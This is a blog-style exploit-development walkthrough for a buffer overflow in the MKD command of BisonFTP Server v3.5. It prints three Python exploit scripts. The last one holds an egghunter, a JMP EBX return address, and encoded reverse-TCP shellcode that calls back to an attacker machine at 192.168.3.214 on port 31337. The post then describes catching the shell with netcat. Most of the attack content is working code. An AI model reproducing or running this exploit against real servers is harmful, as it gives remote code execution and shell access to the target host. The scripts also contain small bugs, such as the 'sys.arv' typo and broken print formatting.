BisonFTP Server v3.5 MKD Buffer Overflow Exploit

BisonFTP Server v3.5 MKD Buffer Overflow Exploit

Overview on crafting the exploit for a buffer overflow affecting BisonFTP Server v3.5

This blogpost has been written to provide a detailed walkthrough in the process of identifying a vulnerability within a target application and then developing a working exploit code to abuse the identified vulnerability. For this overview, this post will leverage the BisonFTP server application which has a known vulnerability affecting the “MKD” command functionality. In this post, the following items will be used:

  • Windows Server 2003 Standard
  • Backtrack 5 R3
  • Bison FTP Server v3.5
  • Immunity Debugger
  • pattern_create.rb
  • pattern_offset.rb
  • msfpayload
  • msfencode

During my research I identified that a version of the Bison FTP Server, verison 3.5, was vulnerable to a buffer overflow attack where a buffer is sent along with the MKD command to the server. I wrote a python script which would send a buffer of 2000 bytes in size along with the MKD command to the FTP server to cause the buffer overflow. I attached the Bison FTP Server v3.5 to the Immunity Debugger tool and ran the script against the target.

#!/usr/bin/python 
from socket import *
import sys, struct, os, time

if(len(sys.arv) < 3):
	print "\n BisonFTP Server v3.5 (MKD) Remote BOF and Crash Exploit"
	print "\n    Usage: %s <host> <port> \n" %(sys.argv[0])
	sys.exit()
print "\n[!] Connecting to %s ..." %(sys.argv[1])
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
time.sleep(3)

buffer = "\x41" * 2000
buffer += "\r\n"

print "[!] Sending exploit..."
sock.recv(2000) 
sock.send('USER anonymous\r\n') 
sock.recv(2000) 
sock.send('PASS anonymous\r\n') 
sock.recv(2000) 
sock.send('MKD '+buffer+'\r\n') 
sock.recv(2000) 
sock.close() 
print "[!] Exploit succeed.\n" %(sys.argv[1]) 
sys.exit()

I could see from the output of the crash shown in the debugger I can see that the bugger has overwritten 4 of the application’s registers.

  • EAX
  • EBX
  • EIP

As the EIP register controls the flow of execution for the application if I am able to take control of the register I will be able to control the register and have the application execute arbitrary code that I send the application. Also from the debugger I can see that the EBX point to the location in memory where the part of my buffer was overwritten too during the overflow. When examining the memory location in dump I identified that about 496 bytes of my buffer were written to this location, this will be useful to know because it determines how large of shellcode I can use.

I now know that I am able to cause a buffer overflow in the application when I send the MKD command as well as a buffer of 2000 bytes. This buffer overflow overwrites the EIP register as well as the EBX register with about 496 bytes of my buffer. My goal is to hijack control of the EIP register and tell the application to jump to the location in memory where the EBX register is pointing to and continue to execute arbitary code placed in this location. I need to do the following tasks to complete my goal:

  • I need a RET address that will JMP to the EBX register,
  • Positions in the buffer that overwrite the registers. Using the tool pattern_create.rb from the Metasploit Framework I generated a 2000 byte unique string which will replace my original buffer, then using another tool called pattern_offset.rb again from the Metasploit Framework it will calculate the positions in the buffer that overwrite the registers.

The debugger shows that this time when the application crashed the EIP register was overwritten by the string 376B4236 and the EBX register points to the point in the buffer beginning at j3Bj. Using another tool from the Metasploit Framework called pattern_offset.rb I will be able to identify the points in my buffer that overwrite the registers. The EIP register is overwritten by the buffer at the 1100 byte and the EBX points to the 1060 byte.

This development creates a new problem, that being the EIP register is being overwritten by the buffer, meaning I could hijack the register taking control of the flow of execution of the application and the EBX is pointing to part of the buffer sent to the application, the part of the buffer the EBX is pointing to is about 496 bytes in size. Though the point of the buffer that overwrites the EIP register is 40 bytes after the starting point of where the EBX register is pointing too. This where the problem I only have 40 bytes of room for shellcode. While researching about potentialy solutions for the problem, I came across this interesting shellcode which is referred to as a egghunter shellcode.

The purpose of this egghunter shellcode is search the memory of the target host and identify a specific “tag” and then executes the instructions after the “tag”. So I will add two shellcodes to the exploit, the first being the egghunter shellcode which will search the memory of the host for the “tag” w00tw00t which I will append to the second shellcode which will contain the payload to send a reverse TCP shell back to the attacking machine. The source code for the shellcode can found in the https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/ article written by the Corelan Team.

egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

Before modifying the exploit to contain both shellcode, I still need to determine if I can successfully hijack the control of the EIP register. Using the executable module in the Immunity debugger I examined all loaded applications currently running in memory on the target machine for a RET address that would jump to the EBX register, a JMP EBX instruction. I found such a instruction in the user32.dll, the instruction is found at the location memory 77d16764. I modified my current exploit so that the JMP EBX instruction will overwrite the EIP register, placing a break point at the instruction so I am able to see the jump to the EBX register.

#!/usr/bin/python
# This exploits connects to the BisonFTP Server v3.5 application and then sends the MKD command along with the buffer to cause a buffer overflow in the application.
 
from socket import *
import sys, struct, os, time
 
if (len(sys.argv) < 3):
print "\n BisonFTP Server v3.5 (MKD) Remote BOF and Crash Exploit"
print "\n    Usage: %s &lt;host&gt; &lt;port&gt; \n" %(sys.argv[0])
sys.exit()
 
print "\n[!] Connecting to %s ..." %(sys.argv[1])
# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
time.sleep(3)
 
buffer = "\x41" * 1060
buffer += "\x90" * 40 # NOPSLED
buffer += "\x64\x67\xd1\x77" # JMP EBX, user32.dll, Windows Server 2003 SE ENG
buffer += "\r\n"
 
# send buffer
print "[!] Sending exploit..."
sock.recv(2000)
sock.send('USER anonymous\r\n')
sock.recv(2000)
sock.send('PASS anonymous\r\n')
sock.recv(2000)
sock.send('MKD ' + buffer + '\r\n')
sock.recv(2000)
sock.close()
print "[!] Exploit succeed.\n" %(sys.argv[1])
sys.exit()

The debugger shows that I have successfully overwritten the EIP register with the correct JMP EBX instruction, notice in the exploit the JMP EBX instruction is written backwards and in the debugger it shows the correct way around. Also note that the EBX register points to the start of the NOPSLED in the dump, this means I have successfully hijacked the EIP register of the application and have it jump to a location in memory contain my shellcode will be placed. Now this has been tested and proved to work I can begin modifying the exploit to contain my two shellcode, as stated above I will be using a egghunter shellcode which will look for the second shellcode I write to memory which is a reverse TCP bindshell and execute the shellcode.

#!/usr/bin/python
# This exploits connects to the BisonFTP Server v3.5 application and then sends the MKD command along with the buffer to cause a buffer overflow in the application.
 
from socket import *
import sys, struct, os, time
 
if (len(sys.argv) < 3):
print "\n BisonFTP Server v3.5 (MKD) Remote BOF and Crash Exploit"
print "\n    Usage: %s <host> <port> \n" %(sys.argv[0])
sys.exit()
 
print "\n[!] Connecting to %s ..." %(sys.argv[1])
# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
time.sleep(3)
 
# root@phlegethon:/opt/metasploit/msf3# ./msfpayload windows/shell/reverse_tcp lhost=192.168.3.214 lport=31337 R | ./msfencode -b "\x00\x0d\x0a\xff" -t c
# [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
shellcode = ("w00tw00t" + "\xda\xdb\xd9\x74\x24\xf4\x58\x2b\xc9\xbd\x74\x98\x4a\xc2\xb1"
"\x49\x31\x68\x19\x03\x68\x19\x83\xe8\xfc\x96\x6d\xb6\x2a\xdf"
"\x8e\x47\xab\xbf\x07\xa2\x9a\xed\x7c\xa6\x8f\x21\xf6\xea\x23"
"\xca\x5a\x1f\xb7\xbe\x72\x10\x70\x74\xa5\x1f\x81\xb9\x69\xf3"
"\x41\xd8\x15\x0e\x96\x3a\x27\xc1\xeb\x3b\x60\x3c\x03\x69\x39"
"\x4a\xb6\x9d\x4e\x0e\x0b\x9c\x80\x04\x33\xe6\xa5\xdb\xc0\x5c"
"\xa7\x0b\x78\xeb\xef\xb3\xf2\xb3\xcf\xc2\xd7\xa0\x2c\x8c\x5c"
"\x12\xc6\x0f\xb5\x6b\x27\x3e\xf9\x27\x16\x8e\xf4\x36\x5e\x29"
"\xe7\x4d\x94\x49\x9a\x55\x6f\x33\x40\xd0\x72\x93\x03\x42\x57"
"\x25\xc7\x14\x1c\x29\xac\x53\x7a\x2e\x33\xb0\xf0\x4a\xb8\x37"
"\xd7\xda\xfa\x13\xf3\x87\x59\x3a\xa2\x6d\x0f\x43\xb4\xca\xf0"
"\xe1\xbe\xf9\xe5\x93\x9c\x95\xca\xa9\x1e\x66\x45\xba\x6d\x54"
"\xca\x10\xfa\xd4\x83\xbe\xfd\x1b\xbe\x06\x91\xe5\x41\x76\xbb"
"\x21\x15\x26\xd3\x80\x16\xad\x23\x2c\xc3\x61\x74\x82\xbc\xc1"
"\x24\x62\x6d\xa9\x2e\x6d\x52\xc9\x50\xa7\xfb\x63\xaa\x20\xc4"
"\xdb\xb7\x66\xac\x19\xb8\xfc\x44\x94\x5e\x6a\x87\xf0\xc9\x03"
"\x3e\x59\x81\xb2\xbf\x74\xef\xf5\x34\x7a\x0f\xbb\xbc\xf7\x03"
"\x2c\x4d\x42\x79\xfb\x52\x79\x14\x04\xc7\x85\xbf\x53\x7f\x87"
"\xe6\x94\x20\x78\xcd\xae\xe9\xec\xae\xd8\x15\xe0\x2e\x19\x40"
"\x6a\x2f\x71\x34\xce\x7c\x64\x3b\xdb\x10\x35\xae\xe3\x40\xe9"
"\x79\x8b\x6e\xd4\x4e\x14\x90\x33\x4f\x69\x47\x7a\xd5\x9b\xed"
"\x6e\x15")
 
# Searches memory for tag w00tw00t
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
 
buffer = shellcode
buffer += "\x90" * (1060-len(shellcode)-len(egghunter))
buffer += egghunter
buffer += "\x64\x67\xd1\x77" # JMP EBX, user32.dll, Windows Server 2003 SE ENG
buffer += "\r\n"
 
# send buffer
print "[!] Sending exploit..."
sock.recv(2000)
sock.send('USER anonymous\r\n')
sock.recv(2000)
sock.send('PASS anonymous\r\n')
sock.recv(2000)
sock.send('MKD ' + buffer + '\r\n')
sock.recv(2000)
sock.close()
print "[!] Exploit succeed.\n" %(sys.argv[1])
sys.exit()

Before sending the exploit to the target I setup netcat listening for any incoming connection to my machine on port 31337, then I sent the exploit which was successfully executed in full by the application sending me a reverse TCP shell of the remote host.

In this blog post I have fuzzed the application BisonFTP Server v3.5 identifying that a buffer overflow occurs when the application receives a buffer of 1100 bytes along with MKD command. I then used this buffer overflow to execute arbitrary code that I sent the application which in turned allowed me to gain a reverse bindshell from the target machine.


© 2021. All rights reserved.

Powered by Hydejack v9.1.6